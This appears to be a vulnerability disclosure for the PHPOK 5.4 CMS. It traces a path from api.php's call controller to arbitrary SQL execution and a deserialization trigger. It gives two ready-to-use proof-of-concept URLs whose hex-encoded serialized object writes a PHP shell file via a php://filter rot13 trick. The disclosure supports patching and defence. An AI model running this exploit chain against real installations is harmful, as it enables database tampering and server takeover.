Version 5.4

analysis

Arbitrary SQL statement execution

framework/api/call_control.php::index_f

This time, there is one more format function than the 5.3 version. In simple terms, it is a very violent replacement. The deserialized data cannot be passed directly because deserialization requires double quotes.

framework/phpok_tpl_helper.php::phpok

$GLOBALS['app']->call->phpok($id,$ext) is phpok_call.php::phpok()

framework/phpok_call.php::phpok

$rs is completely controllable, so you can control the $func but there is a limitation

if(!in_array($func,$this->mlist)){
    return false;
}

now we know all functions starting with _ in this class can be called, This time we use _sql

framework/phpok_call.php::_sql

Escaping is removed here 233333

framework/engine/db/mysqli.php::get_all

You can see that $rs['sqlinfo'] directly passed query

framework/engine/db/mysqli.php::query

You can execute any sql statement

Deserialization

Here is the same as last time，it's just the deserialization trigger point in _fields

framework/phpok_call.php::_fields

framework/model/project.php::project_one

framework/model/module.php::fields_all

Just use any of the above statements to insert deserialized data into the $this-> db-> prefix."fields table.

poc

http://127.0.0.1:8000/5.4/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22sql%22%2C%22sqlinfo%22%3A%22INSERT+INTO+%60phpok5%60.%60qinggan_fields%60%28%60id%60%2C+%60ftype%60%2C+%60title%60%2C+%60identifier%60%2C+%60field_type%60%2C+%60note%60%2C+%60form_type%60%2C+%60form_style%60%2C+%60format%60%2C+%60content%60%2C+%60ext%60%2C+%60search_separator%60%2C+%60form_class%60%29+VALUES+%281%2C+%2722%27%2C+%27test%27%2C+%27test%27%2C+%27varchar%27%2C+%27test%27%2C+%27text%27%2C+%27test%27%2C+%27safe%27%2C+%27test%27%2C+0x4f3a353a226361636865223a343a7b733a393a22002a00666f6c646572223b733a34313a227068703a2f2f66696c7465722f77726974653d737472696e672e726f7431332f7265736f757263653d223b733a31313a22002a006b65795f6c697374223b733a31393a223c3f637563206375637661736228293b203f3e223b733a393a22002a006b65795f6964223b733a353a227368656c6c223b733a393a22002a00737461747573223b623a313b7d%2C+%27test%27%2C+%27test%27%29%22%7D%7D

http://127.0.0.1:8000/5.4/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22fields%22%2C%22pid%22%3A41%7D%7D

qinggan / phpok

PHPOK5.4 has some vulnerabilities that can cause getshell #7